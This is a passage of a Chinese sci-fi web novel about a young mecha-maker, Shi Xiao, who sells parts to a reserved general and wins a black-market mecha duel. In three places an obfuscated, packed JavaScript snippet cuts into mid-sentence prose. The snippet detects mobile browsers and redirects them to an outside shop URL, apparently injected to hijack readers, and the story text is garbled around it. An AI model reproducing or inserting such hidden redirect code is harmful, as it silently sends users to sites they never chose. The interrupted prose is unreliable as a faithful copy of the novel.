时嚣抱着盖有“不通过”的申请文件,站在审核办公室外沮丧叹息。 门后传来下一位申请者的声音。 “你好,这是我普鲁托大学毕业证书、数据师高级评定证明、数据师从业资格证、机甲制造许可证、机甲质检合格证书,以防万一我把机甲驾驶证也带来了。” 时嚣:“……” 时嚣敲了敲手腕上的光脑,屏幕闪过轻微的波动。 “学历很重要吗?”她真诚提问。 主脑升级休眠中,留下的复制体运算能力同样强大,一次性发来二十万篇关于当代学历重要性的帖子。 总结:没有学历寸步难行。 时嚣沉吟:“幼儿园在哪报名?” “十八岁以上能上的幼儿园”词条检索失败,主脑复制体具体问题具体分析,发来帝都星所有成人大学的详细地址和历年口碑,另外还备了一份老年大学清单。 “老年大学?”时嚣觉得不对。 “十八岁以上。”主脑复制体圈出重点。 “哦——”时嚣觉得合理。 她低头把“学历”纳入日程。 “其他证件怎么办理?” 主脑复制体问一句答一句:“办理任何证件都需要提供身份芯片,目前身份芯片为帝国最高机密技术之一,没有获取渠道。” 末了,它的运算结果补充:“主脑升级完成后可自主研发身份芯片。” 意味着暂时拿不到营业执照。 生活不易,小嚣叹气。 “先帮我导航帝都星机械市场吧。” 不想了,她先参观参观同行店铺去。 * 机械市场占地面积超过普通城镇,放眼望去锋利的线条与各色光影交相辉映,编织成一座巨大的钢铁都市。 带有军用标记的悬浮车从空中缓缓降落,引来不少路人侧目。 “是第一军团的车,军方来人做什么?”正在交易的客人向店主打听。 店主恰好知道点内幕:“据说有反抗军在这做军/火交易,这几天都来四拨军团了。” 客人惊奇:“不要命啦?前几天新闻上还说「白起」回帝都星了,这时候来进货生怕抓不到他们?” 「白起」是帝国无人不知的代号,他在五年前席卷边境的惨烈虫潮中力挽狂澜,没有人见过其真容,相关消息也少得可怜,但星网上关于他的讨论始终铺天盖地,他那架银白机甲从崭露头角起从无败绩,被誉为虫族灭杀者,也是边境的守护神。 因而客人更加惊讶,反抗军也太会挑时间搞事了。 店主淡定道:“反抗军缺装备又不是一天两天了,想搞到最新的武器只能铤而走险了呗,说不定过不了多久就能看到「白起」把他们一网打尽的新闻了。” 客人唏嘘:“好日子不过,非要自己搞个独立组织对抗虫族,没有帝国联邦的支持怎么可能支撑得下去,何必呢。” “年轻人嘛,有理想有朝气。”店主轻嘲。 军用悬浮车在议论声中开启,一道颀长清隽的身影站定在光影之间。 只一个淡漠的眼神,周围嘈杂的声音瞬间收束。 游元起目光下敛,浓密的睫毛扫下,深邃的黑眸不带任何情绪,分配好各个支队巡查的区域,在副官领命出发后,他独自走向市场。 “等——等——” 一辆摩托风驰电掣,从地平线那头“唰”一下出现,紧接着一个大刹火花带闪电,停在游元起面前。 喻锡从车上跳下来,急得火烧眉毛,用尽力气压低想要嘶吼的喉咙: “少将!表弟!祖宗!殿下带回来那台超级机甲都快把议会和军方炸疯了!连退休的霍老都被请出山了!殿下可是你最最最最铁的哥们!你近水楼台不去问情况怎么还有闲心来机械市场啊!” 一连串吼完,定睛一瞧,游元起无动于衷。 喻锡愤怒:“你有没有听我说话!” 游元起视线移向市场中心巨大的钟摆:“现在是帝国时间下午四点整,按照值班安排下午四点至五点由我负责带队巡查机械市场。” 喻锡无语:“人要学会变通啊哥,哪怕你五点下班五点零一分出现在皇宫门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094448|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,上将都只会夸你跑得快,他还指望你去问出消息呢。” 他调出五分钟前和上将的聊天记录。 【上将:小游和王储殿下关系好,殿下抵达帝都星的消息小游应该第一时间知道了吧】 【上将:他好像去巡查机械市场了?那边倒也没什么特殊情况】 喻锡展示光脑:“平时九曲十八弯,今天都说人话了,领导急到这份上你好歹尊重点。” 游元起直截了当戳穿:“昨天你假装信号不好推掉会议四次,阳奉阴违上将五次,背地里骂信息部部长六次,其他时间一直在摸鱼,糊弄,打游戏。” 喻锡支吾:“哎呀,你不懂,那叫复盘,沉淀,市场调研……好吧,我借口来问你最新消息翘了半天班,我部门那帮人头一回信息不通,急得抓耳挠腮,就等我回去喂饭呢。” “哦。”游元起往机械市场走去,“我不急。” 喻锡:“……” 他恨这个人机! “你就不能体谅体谅你老哥吗?我们信息部最受不了的就是瓜在眼前吃不到。” 游元起脚步变缓。 喻锡升起希望。 结果听见他问:“信息中心的问题解决了?” 话里话外像是在说:没解决完就去解决,别跟着了。 喻锡恨自己的理解能力。 他苦着脸回答:“没有,五天前那帮黑客突然收手,我们趁这会儿查漏补缺呢,怕他们卷土重来。” 提到这个喻锡就胸闷气短,捂着心口抱怨:“更恐怖的是对面一撤,所有入侵痕迹消失得无影无踪,我们连溯源都做不到。为这个我被迫编了二十一份分析报告,二十一份呐!连个研究方向都没有分析个大头鬼!这世界上怎么可能存在比帝国联邦还硬核的科技势力!” “有。”游元起打断他。 身为一同长大的表兄弟,喻锡可太熟悉他了,幽幽道:“没有亚特兰蒂斯!忘掉亚特兰蒂斯!那只是个传说!我要是提交亚特兰蒂斯部长肯定会把童话书抡我脸上!他想刀我很久了我才不给他创造机会!” “我去过。”他固执道。 喻锡无奈:“那只是一场噩梦,第一次直面虫族以后很多人都会幻想童话里的主角从天而降拯救自己,这很正常,但尊敬的游少将,你现在已经是个二十二岁的大孩子了。” “你好吵。”游元起周身气压骤然变低,转头就走。 “诶诶诶,你别走啊。”喻锡小跑跟上,“你真不想去瞧瞧?你的机甲不是损伤过重需要重做但是一直没找到敢接手的人吗,刚好让霍老帮你看看呗。” “「白起」不会交给他。”游元起薄唇微抿。 “哎呀,以前不都是他帮你维修嘛,人家就是说了一句0.03秒误差不重要而已。我知道你有你的坚守,可是你想想,整个帝国除了霍老还有谁敢改造你那台机甲,除非那个人刚来帝都星,还得是从偏远星球来,对你的机甲一无所知才有这个胆子,但有胆子还不代表有实力。” 游元起没有回答。 他的机甲是一位大师去世前的最后作品,再加上这几年战功堆叠,「白起」所代表的意义非凡,然而与赞誉相捆绑的是无形的限制,无论交给谁都不敢大刀阔斧地改造。 没有人问过他这个持有者的想法,事实上他不在意机械师有多崇高的地位,哪怕对方只是个没有资格证书的大学生,只要技术过关并且尊重机甲就行。 但所有人都说不可以,他们说身份,说限制,说权限,可「白起」明明是他的机甲。 他感到厌烦。 喻锡还在劝,任他说得口干舌燥,游元起理也不理,继续进行巡查工作。 他从挣扎到放弃,一看时间不早了,想着来都来了,干脆一起巡查机械市场。 从一间店铺出来,游元起忽然不动了。 以为出现了什么异状,喻锡连忙顺着他的目光望过去,就见一个女生清清冷冷站在那里,体态高挑,眉眼精致。 她提着格格不入的灰绿色麻袋,正和一个卖红薯的摊贩说话。 “你明明可以直接抢走我的十块钱,却还是给了我一个烤红薯。” 全身上下只有九块九的时嚣这样说道。 5. 第5章 喻锡眯起眼打量时嚣,没看出有什么问题,正要开口询问,忽然身边掀起一阵劲风。 一片落叶打了个圈落到地面,徒留茫然的他望着游元起飞出去的背影发呆。 “我靠!”小摊老板扛起摊子撒丫子就跑,游元起紧追其后。 时嚣:“?” 虽然不知道发生了什么,但是喝了一礼拜压缩营养液的她下意识跟着烤红薯的香气飘了出去。 “你跑什么?”她不小心跑太快超过了小摊老板,又刻意放慢速度跟他保持同样的频率,边跑边问。 小摊老板气喘吁吁:“我范三吴无照经营这么多年不被抓,靠的就是这双火眼金睛!那眼神,那气质,别以为穿个便衣我就认不出来他是城管!” “还可以无照经营?城管又是什么?”时嚣眼里泛起亮光,虚心请教。 小摊老板抽空回复:“就是摆摊啦,城管是专门抓我们的,真烦人,也就帝都星麻烦,摆个摊都要管。” 时嚣受教,若有所思。 小摊老板拼命地跑,却发现原本追在后面的人竟然出现在道路尽头。 时嚣和小摊老板齐齐后仰脚刹。 一切发生得太快,她现在才有机会看清楚“”城管”全貌。 闯入视野的男人俊美异常,穿着版型修正的白衬衫,扣子规规矩矩系到最上面一颗,宽肩窄腰,身形修长挺拔。 干净又漂亮,让她想到高贵傲气的白猫。 “呔!哪里跑!”喻锡大喊着从后边包抄。 游元起气息平稳,看不出来刚刚奔跑过:“请出示你的营业执照。” 喻锡跑出了火气,叉着腰大喘气:“不用跟他废话,见我们就跑肯定是无照经营,小样儿还挺能跑。” 放平时他才不管,但小摊老板运气不好遇上游元起巡查,他弟一旦认定这个时段这片区域归他管辖,任何违法违规行为都别想蒙混过关。 “吾命休矣!”被堵住所有退路的小摊老板仰天长啸。 时嚣自觉后退一步,给他们让出舞台。 就在这时,钟楼上五点整的钟声敲响。 游元起顿住,打开光脑确认了一遍时间。 五点,下班了。 他径直走向小摊老板,在对方崩溃的注视下—— 出示了付款码。 小摊老板:“欸?” 时嚣:“欸?” 只有喻锡见惯不惊:“这么快就五点了吗?那给我也来一个。” 小摊老板眉飞色舞:“我范三吴命不该绝!” 他拿出三个热腾腾的烤红薯,往他们面前大气一送:“来来来,今天我请客,不收钱。” 沾光吃到免费红薯的时嚣不理解但开心:^u^好耶。 小摊老板怕他们改变想法赶紧遛了,留下三个窝在路边吃烤红薯的人。 “太甜了,糖水里浸过吧。”喻锡边啃边皱眉,他不喜欢吃这种稀稀烂烂甜到齁的红薯,偏爱那种干巴到噎人的,“真的有人喜欢吃这种吗?” 极端甜食爱好者时·人·嚣嚼嚼嚼:“甜,好吃。” 游·从·元起眼里升起恰逢知己的温度:“嗯。” 时嚣只是感慨一句,没想到白猫会接话。 她往旁边看了眼,从腰包里拿出纸巾开始擦手,顺便递一张给他。 “他想抢你钱。”游元起接过纸巾,冷不丁说道。 “啥?”喻锡从红薯里探出头,神情困惑。 时嚣表情有了变化,向游元起投去赞同的目光:“我也觉得。”刚才一个烤红薯竟然卖她十星币! 游元起微微点头,太贵了,第一军团基地附近的烤红薯只卖三星币。 时嚣也点头,她就说,她的机甲技术再落后也不可能倒欠烤红薯0.1,原来是碰上传说中的黑店,哦不,黑摊了。 “第一军团附近的更甜。”游元起像是随口一说。 时嚣被吸引到了:“第一军团在哪里?” 游元起打开光脑加好友的界面:“我给你发定位。” 时嚣随即打开今天落地后创建好的星网账户。 喻锡看着两人互加好友,好半天才跟上他们的话题,心想还是军团附近的东西好,没人乱标价,于是慢半拍点头,一块谴责天价烤红薯。 说完又添了句:“我还以为你光注意那个卖红薯的老板了呢。” 他这个表弟像是一台结构精密的机器,大脑执行某一命令的时候眼里根本容不下别的事物。 游元起没接话,自顾自给时嚣发备注。 时嚣把自己名字发了过去,趁机询问:“你们知道哪里可以交易机甲零件吗?我进了好几家店都说只卖不收。” 她有点沮丧,今天扛了一麻袋零件出来打算探探市场,结果接连碰壁。 喻锡:“没看新闻吧,近期巡查可严格了。”都怕跟反抗军牵扯上被调查。 时嚣泄气:“这样啊,我之前在偏远星系,连不上星网不太了解。” “你只能去品牌官方那里回收了。” “零件都是我自己做的,没有品牌。”时嚣遗憾。 “自己做的呀。”喻锡出于职业习惯顺口问,“质检合格证书拿到了吧?” 比范三吴还要三无的时嚣默默移开目光。 喻锡好心提醒道:“机械市场交易需要提供质检合格证书,否则属于违规交易哦。” 时嚣想到可望不可及的身份芯片,苦恼:“看来今天卖不出去了。”还是把东西带回家摆摊吧。 “别难过,没质检的话还可以卖给大学生,或者去贫民区黑市上卖呗。”喻锡条件反射道。 然后便收到了来自游元起的死亡射线。 喻锡立马捂嘴,他出息了,敢在新任第一军团长面前给人推荐非法黑市。 他讪笑两声,转移话题:“你是机甲系的大一新生吗?” 时嚣明显第一次来机械市场,刚好又撞上开学季,他才有这个推测。 时嚣摇头:“我没上过学,是一名数据师,开了个小店。” 游元起视线落在时嚣脚边的麻袋上。 她跑路的时候脚步很稳,金属零件只碰擦出轻微的响声,他听出了材质的声音,如果没猜错的话那应该是机甲引擎部位的轴承零件,通常只有最核心的零部件才舍得用这种造价昂贵的金属。 时嚣惯性掂两下麻袋,奔跑过程中麻袋口子有点散了,她干脆俯身把扎口的绳子解开重新打结。 “承重零件。”游元起透过露出的缝隙看到一些金属边角,笃定判断。 遇到懂行的,时嚣被动触发销售流程,二话不说把打好的结散开,口袋一敞,嘴比脑子先行一步:“欢迎光临小……” 说到一半意识到自己不在机械店里,开场白并不适用。 大脑卡壳,她抿了抿唇:“买吗?” “买。”游元起蹲下,拿起一个半截手臂长的齿轮仔细端详。 不是核心零部件,是一枚足部承重零件,机械师通常不会舍得在非核心部位使用这么好的金属。 时嚣是个用料扎实的商人,他判断道。 时嚣蹲在他对面跳过开场白熟练介绍商品。 眼看两人现场交易起来,喻锡撇撇嘴腹诽,他是不指望跟上人机的脑回路了。 他看不出什么名堂来,就问游元起:“这零件怎么样啊?” 游元起遇到机甲仿佛变了个人,眉眼压低神情专注,话也变多了:“这种金属耐磨性和耐腐蚀性极佳,很适合用来做足部承重零件。你再看这几个,和市面上传统的连接器形状不一样,结构更加精巧,能有效减少摩擦。” 说着他脑海里已经构建出一幅完整的结构透视图,越想越觉得精妙。 他看向时嚣的目光添了些许光彩。 喻锡云里雾里,他进入信息部升到副部长后专注于弄权,基础知识早忘光了,反正游元起觉得好,质量铁定不差,他不由得好奇地打量时嚣。 游元起打包全部零件:“直接转账么?” 时嚣犹豫:“我还没激活星网账户的收款功能,你有可以和我交换的东西吗?” 收款功能需要绑卡,而银行卡在线注册需要身份芯片认证,她暂时搞不到。 游元起想起来随身携带的一样东西。 他拎出掩在衬衫下的一条项链,握住随之被扯出来的蓝宝石戒指,刚要开口便被发出尖锐爆鸣声的喻锡按了回去。 喻锡瞳孔地震:“祖宗!那是……” 飞快瞟过时嚣,理智让他重新措辞:“那是你‘城管’身份的象征!大领导亲自授予的,可不兴抵押啊!” 游元起一脸莫名其妙:“我当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094449|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。” 随后就见他取下宝石戒指,把链子递了出去,不忘用看傻子的眼神瞥他。 喻锡:“……” 都怪这家伙平时太人机,给他一种做出什么行为都不意外的错觉。 时嚣眼里掠过藏不住的惊喜,这一小块金属比她给出的那些零件都要稀有,可以熔了给小智障当中心轴承。 游元起是个大方的客人,她判断道。 她又分了点注意力给那颗蓝宝石,心道城里人都喜欢这种石头吗,有一说一确实漂亮,富含的能源也比较实用,不如回头让家里给她捎点过来,无本买卖怎么都不亏。 智慧的商人做事从不拖沓,二话不说发了条信息回家。 她盘算无照经营的事,试探性问起:“你们城管平时都是几点下班呀,会经常在附近巡视吗?” “呃。”喻锡尴尬挠头,拱了拱游元起,“我是网管,专业不对口,你问他吧。” 游元起面不改色:“二十四小时交替排班,没有固定负责的区域。” 时嚣表示明白了,看来在这里摆摊不是明智的选择。 东西卖掉一身轻,她向他们告别离开。 喻锡放下挥舞的手,摸了摸下巴思忖:“老弟,那女生有什么不对劲吗?你的态度很异常。”异常得好。 游元起没搭理他,低头摆弄光脑,虚拟光屏停留在和【买机甲找我】的聊天界面。 对方加上好友后发来一张小白猫伸爪的表情包,漂亮的猫瞳有种莫名的熟悉感。 他反转摄像,找到了熟悉感的来源,嘴角缓缓上升了两个像素点。 喻锡展现出了信息部副部长刨根究底的职业习惯和敏锐嗅觉:“平时你都把我们当NPC刷,恨不得一键跳过对话,今天竟然有种耐心过主线的感觉。” 他不知道怎么描述游元起的异常,用了个抽象的类比。 “她的零件不错,我想把机甲交给她试试。”游元起道。 喻锡惊讶:“可她看上去年纪很小,最多二十。” “我二十二。”帝国最年轻的少将平静道。 喻锡无法反驳,忘了旁边这位是赫赫有名的天才。 “就凭几个零件你就敢把机甲交出去?太草率了吧,难道说……” 他反复对比两人身上的共同点。 “难道说,海内存知己天涯若人机?”那种淡淡的伪人感他可太熟悉,他从时嚣身上感受到了和游元起相似的气息。 果不其然又迎来死亡射线。 他举双手投降,从左往右给嘴拉上拉链。 该说不说,有时候他这个弟弟挺孩子气的。 “随你,「白起」是你的机甲,被分析那么久它的架构也不是什么秘密了,我反正没有异议,但我建议你身份保密。”他意味深长,“「白起」特殊,盯着你的人太多了,人家就是一普通小姑娘,不管是上边那些人还是星网上的议论,一般人可承受不住。” “我知道。”游元起比他更清楚其中的压力。 喻锡消停过后说:“现在你该去问超级机甲的事儿了吧?” 游元起不慌不忙打开地图导航。 喻锡高兴了,凑过来瞅了两眼却发现并不是去皇宫的路。 “定位没错。”游元起淡淡地扫了他一眼,“我们定了伊甸园见面。” “你们什么时候定的餐厅?刚才没看到你发过消息啊。” “因为我们四点就约好了。” 喻锡小怒:“你不早说!忽悠我翘班过来帮你加班!” “你没问。”游元起气定神闲。 喻锡大怒:“该不会是因为我说亚特兰蒂斯不存在你就报复我吧?你多大的人了幼不幼稚!我要说一百遍亚特兰蒂斯不存在!” 他正要用幼稚报复幼稚,两人光脑突然同时响起特殊提示音,那是第一军团的集结令。 话到嘴边咽了回去,他拿出光脑忿忿:“不是忙超级机甲的事么,还能有什么紧急事务……我去!” 游元起表情破天荒有了变化,眉宇间添了几分严肃。 【帝国军事指挥部紧急调令: 公主于帝国时间17:03遭不明势力绑架,现有情报显示定位信号最后消失于十九区(精确坐标已同步至军团定位系统),涉及帝国安全与皇室尊严,请立即采取营救行动】 6. 第6章 正值帝都星下班高峰期,星轨内光线柔和,车窗隔绝了风过的呼啸。 星轨上的人体会着速度与静谧的交融,时嚣除外。 她嫌人多,独自坐车顶了。 列车即将驶入隧道,时嚣迅速趴下扒住车头。 逆风而行,衣摆猎猎作响,耳旁的空气被高速行驶的巨大动力撕裂,黑暗中唯有她一双眸子亮如白昼。 哇!好玩!星网百科说星轨是帝都星的脉搏,诚不欺她!她感受到跳动了! “前方到站,十九区。” 列车到站,时嚣影子一晃轻巧落地,根据主脑复制体的指引抄近道翻去贫民区。 黑市藏在破败的贫民区里,萧条的街道,破旧的房屋,贪婪的注视,视线所及之处皆蒙上一层麻木的灰雾。 她正跟着导航原地打转,盘膝坐在角落里的魁梧男人从阴影里显露出来。 “离开这儿。” 男人胡子拉碴的脸上唯有一双刻满沧桑的眼睛醒目,正一眨不眨盯着她的方向。 时嚣顺着他目光左瞧右看,没看见有其他人,只能茫然地指了指自己:“我吗?” 戈岩洲观察她有一会儿了,不管是穿衣风格还是行为举止,一看就是初到帝都星的年轻人,又逢九月开学,不出意外又是个头铁的大一新生。 他拧紧眉头,语气冷硬:“不然还有别人?学生就老老实实呆在学校里,别刚学点皮毛就自以为能耐,这不是你该来的地方。” 话音未落,余光捕捉到前方阴影里一闪而过的亮光,他的呼吸不自觉屏住,这时出声提醒已然太迟。 一颗子弹破开空气划出锐利的射线,但预想中的惨剧并没有上演,女孩没有回头,甚至连上半身都没动,只稍稍偏过脸便躲开了致命一击。 动作猛兽般敏锐,脸上却是不以为意的泰然。 时嚣继续未结束的话题,一本正经的模样莫名有种好好学生的乖巧:“我不是学生,我来逛逛黑市。” 戈岩洲愣怔。 看走眼了。 放冷枪的也知道惹错人了,杀人越货不成,收枪转身要撤。 “你好。” 耳边温热的呼吸喷涌,过去无往不利的黑市老鼠瞬间浑身僵硬。 骤缩的瞳孔无限逼近眼角,对上了那张俏丽的脸蛋。 一刹那的工夫,五十步开外的人悄无声息出现在了他的背后。 完、了。 解决掉角落里见不得人的脏东西,时嚣小跑回来。 她在分辨善意和恶意方面有着天然灵敏的嗅觉,发现自己又遇上好心人了,马上把握机会主动出击:“好人,你知道黑市入口在哪里吗?地图上没有。” 都叫黑市了,地图上有才见鬼。 戈岩洲默默吐槽。 他打量清清爽爽的漂亮女孩,很难想象她刚才干脆利落解决掉了一个在黑市靠果断狠辣混迹了十多年的老手。 她的随意哪里是无知,分明是对自身实力的绝对自信。 半忌惮半新鲜,他磨磨蹭蹭从地上爬起来。 “直接进黑市会像刚才那样被当成猎物,只有持有身份卡才有资格成为客人,你没有引荐人……” “是这个么?”时嚣打断他,从口袋里翻出一张黑卡,上面还有未干涸的血迹。 戈岩洲沉默。 连摸尸都这么麻利,他看人的眼光大翻车。 “我带你去变更黑卡所有权。”没理由继续阻拦,他难得来了点兴趣,递过去一个狮子面具,“戴上,外圈人看到会卖我几分面子。” 时嚣系上面具,亦步亦趋跟着,穿越隐蔽的长廊,终于抵达另一个世界。 嘈杂、华贵,从贫民区踏入黑市,视觉上产生强烈的割裂感。 “哟,活过来了?又收徒弟不怕再被背叛一次啊。”有认识戈岩洲的人调侃。 戈岩洲凶恶地瞪过去,对方悻悻闭嘴。 时嚣视线掠过那人,判断完他的身体素质和装备品质后立刻失去兴趣。 周围人贪婪的目光聚焦到她身上,又在触碰到沾血的黑色描金卡片后收敛。 这个地方弥漫着一种难以言喻的气味,那是血腥、恐惧和疯狂的混合体。 时嚣脑海里没有清晰的概念,贫瘠的语言库也不足以完整描述这种感觉,只觉得一股沸腾的欲望被勾了出来,她不再兴致缺缺,越过戈岩洲三两步跑过去扒住护栏,往下眺望巨型角斗场。 此起彼伏的叫好呼喊盖过了解说的声音,靠近才看到一场决斗正在进行中,中央两架机甲打得难舍难分,用的都是不要命的路数。 她抬头看到巨大屏幕上提示本场比赛是十号角斗场「芙蕖」和「咆哮之星」的对决,旁边还有一个排行榜实时滚动。 能容纳那么多机甲比赛,黑市比她想象的还要热闹。 观察完环境,注意力又被大屏上的画面吸引,投影放大了机甲师每一个操作细节,偶尔右上角还会切出关键节点的慢放。 见她看得目不转睛,戈岩洲自觉担任讲解员:“这是黑市的机甲比赛,机械师数据师限时改造机甲,机甲师上场战斗生死不论,观众打赏押注。很多人来这里拿命挣快钱,观众也愿意为了感官的刺激付费。” “我是数据师。”时嚣盯着大屏幕琢磨,右手抚摸光脑边沿。 很有意思,比她一个人闷头造机甲有趣多了。 听出她话里的跃跃欲试,戈岩洲皱眉:“看到台下的观众了吗,他们大多崇尚血腥暴力,赌输了就拿选手泄愤,你身手再厉害也防不胜防。” “能量保护罩质量一般,比赛的机甲强度有上限?”时嚣伸手戳了下角斗场的能量保护罩,问了个不相干的问题。 戈岩洲不明所以,但也耐心解答:“有,你应该看得出来,角斗场的机甲都是市面上最廉价的那种。” 角斗场里机甲是快消品,质量普遍算不上好,再加上时间限制,再怎么改造都上限都很难突破,所以理解为机甲强度有上限也没错。 时嚣懂了,也就是说不能放手尽情改造。 “这种机甲多少钱?” “十几二十个吧。”黑市混久了,戈岩洲习惯用赌桌上常用的说法。 时嚣顿时天崩地裂。 凭什么这种机甲都能卖十几二十个星币,她的机甲质量好那么多只卖了十个! 她没有消费欲望,并不在乎自己是否富有,但盈利是衡量一个商人是否成功的体现。 亏损意味着失败! 她气得原地转了两个来回才把自己哄好。 算了,上次就当开门红,下次她一定要狮子大开口。 她整理好情绪问:“比赛怎么报名?” 戈岩洲惑于她稍显稚嫩的外表,即使刚见识过她的战斗力,仍不自觉拿出对待后辈的语气苦口婆心道:“角斗场不是一个人的比赛,等你加入或者组建一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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内部光线相对昏暗,弥漫着压抑的气息,走道两侧缓慢自转的立体投影正全方位展示等比缩小的机甲,机甲或新或旧,都是最基础的款式。当有人驻足,立在两旁的液态屏会自动展示其性能和改造情况。 “第一次来吧?”负责人审视四处张望的时嚣,倒也没有轻慢的意思,他接触过形形色色的人,早就不会以貌取人了,“机械师会在这里选择机甲类型,然后分配到一台基础机甲进行自由改造,改造完由数据师接手,时间一到交由机甲师操控。” 规则有许多漏洞可钻,但黑市不在乎,只要不闹过火,任何行为都是被许可的。 “到地儿了。”他努努嘴,“你运气不太好,对手都是老油条。” 分针绕过两圈,时嚣在所谓队友送过来一台能源库完全损坏、武器库空空如也的机甲后,理解了负责人口中“运气不好”的含义。 机械师趾高气昂甩下机甲手环,毫不掩饰戏弄和轻蔑:“哎呀,我不小心把能源库搞坏了,这玩意儿难修理,时间短任务重,我费好大工夫才抢救了1%的能源。” 他笃定新人无可奈何,已经开始盘算等对面队伍给完尾款后去哪儿逍遥了。 时嚣看了眼只剩十分钟的倒计时,低声嘟囔:“来得及。” 然后一拳砸在他的脸上。 7. 第7章 五分钟后,时嚣踏过虚弱的惨叫坐到屏幕前面,蓝色字符在幽深如墨的瞳孔里跳动。 又五分钟后,她迎来了戈岩洲的友好安慰。 “就当作一场游戏好了。”他从负责人口中听说了机械师的操作,不知道这人收完黑钱去哪儿逍遥了,门口等半天也没见到人出来。 “本来就是一场游戏。”时嚣不甚在意,反正有仇当场报了。 时间不早,她打算拿到黑卡权限就回家。 “不看完这场比赛吗?” 她头也不抬:“没有悬念。” 戈岩洲理解,毕竟只有1%的能源,回天乏术。 黑卡变更所有权的频率很高,手续简化到不能再简化,时嚣将卡片投入槽口,账户余额、权限等级以及可用范围逐一浮现,她跳过余额20.5和等级Lv4,垂眸扫过界面末尾闪烁的“已变更持有人”字样,指尖在虚拟屏幕上敲击几下,很快就把持有人姓名改成了【买机甲找我】。 “好人,加个好友,以后买机甲找我。”她拿出光脑。 “首先我不叫好人,我叫戈岩洲。”戈岩洲纠正,“其次我不会开机甲。” 时嚣眨眨眼,指了指他的手腕。 戈岩洲握住左手手腕,那处有常年佩戴机甲手环留下的痕迹,没想到她观察那么细致。 “那是很久以前留下的,后来我背部神经损坏,连接不了传感器了。”他的语气格外平静,像是陈述一个无关紧要的事实。 看到她失望的发旋,他忍不住补了一句:“黑市有个线上交易平台,我可以教你怎么做账号,不过黑市的机甲师通常有自己的购货渠道,你别抱太大希望。” 时嚣笑容重新回到脸上,自动忽略第二句话。 “好人!” 戈岩洲失笑。 目送人离开后,他恢复死气沉沉的状态。 回到熟悉的黑暗里,惊天动地的欢呼声淹没了他的听觉。 “我押了她!我翻身了!我翻身了!!” “我靠,这才叫拴条狗都能赢!” “数据师是黑鼠?不对呀,我刚过来瞧见黑鼠尸体了。” “看来来了个狠角色,有谁见过吗?” “我记得是个年纪不大的女孩,跟老狮子一块进来的。” “戈岩洲?还以为他一蹶不振了,闷声干大事啊。” “我说你们,投机取巧的操作罢了至于这么吹?” “傻叉别张口行不,换成你遇上队友被收买的情况除了装死还能干什么?” “而且只有十分钟,很多人十分钟的时间只够搜索复制一行代码。” “不,甚至不到十分钟,有人在后台发现了被揍得半死的机械师。” “条件局限的情况下都能创造奇迹,说明她不是只会复制粘贴的数据师,我开始期待她下次的正常对决了,老实说黑市比赛看得我都快视觉疲劳了。” “我想看看她的代码,盲猜里面加了一套弱点检测程序,不然刚才火箭筒的威力不足以结束比赛。” “解说呢?虽然存在感不高但我记得黑市是有解说的吧?” 戈岩洲惊愕抬头,巨屏正重播上一场对决。 剪辑很有水平,从黑方机甲师满脸灰败开始放映,到他穿戴好传感器神情变得迷惑不解。 下一秒机甲以不可思议的速度冲出去,和反应不及的对手相撞,双臂自动箍拢,肩头火箭筒在机甲启动的瞬间弹出,伴随轰然震响,对手半边机甲被生生炸毁。 裁判宣布黑方获胜的同时超负荷的机甲崩溃解体。 暴露的驾驶舱外,黑方机甲师懵住的表情代表了当场所有观众的心情。 右上角慢放中,机甲运作的细节一点点放大。 “数据师没有把希望寄托于机甲师,她把所有能源集中到推进器上,以求达到出其不意的效果,可是弹药库明明是空的…… 我天!她用了每一台机甲都有、但几乎所有人都想不到的东西——自爆装置里的存量!难怪要贴脸释放,这点能源并不足以当作正常弹药使用,可每台机甲的自爆装置都有加密,真的有人能在短短十分钟内破解一级保护密码吗…… 另外我们在数据库里发现了一个简短的弱点检测程序和自动启动代码,真是大胆啊,她把传感器的连接信号修改成了程序启动按钮…… 这是数据师一个人的比赛!而她仅仅用了不到十分钟就完成了一切!不可思议!” 戈岩洲静默地站在人群中,直到解说开始深层分析代码才如梦初醒般拉高衣领遮住下半张脸,只留下那双透着疲惫和锐利的眼睛。 他看人的准头还是一如既往的烂呐。 * 离开喧嚣的黑市,夜晚的贫民区是截然相反的寂静。 时嚣摘掉面具,理了下头发。 她原本打算搭乘星轨离开,谁知走到贫民区外围时看到一群人围成一圈,氛围相当热烈。 凑热闹的心蠢蠢欲动,她很快加入进去。 侧过头,众多陌生面孔中,一双百无聊赖的雾灰色眸子格外惹眼。 灰眸少年长相泯然众人,一身黑色卫衣也很普通,插着兜混在人群里打哈欠,像只慵懒的黑猫。 灰眸也在看她,她大大方方回视。 宣讲人注意到有新观众,演讲更加慷慨激昂:“良好的习惯能决定人的一生,在场的各位中一定有生意人吧,可有的人拼了一辈子还是赔本,有的人却能轻轻松松赚大钱,这是为什么呢?” “为什么呢!” 旁边异口同声的配合吓了时嚣一跳,注意力被重新拉回。 没见过世面的乡下孩子露出了好奇的神色:“为什么呢?” 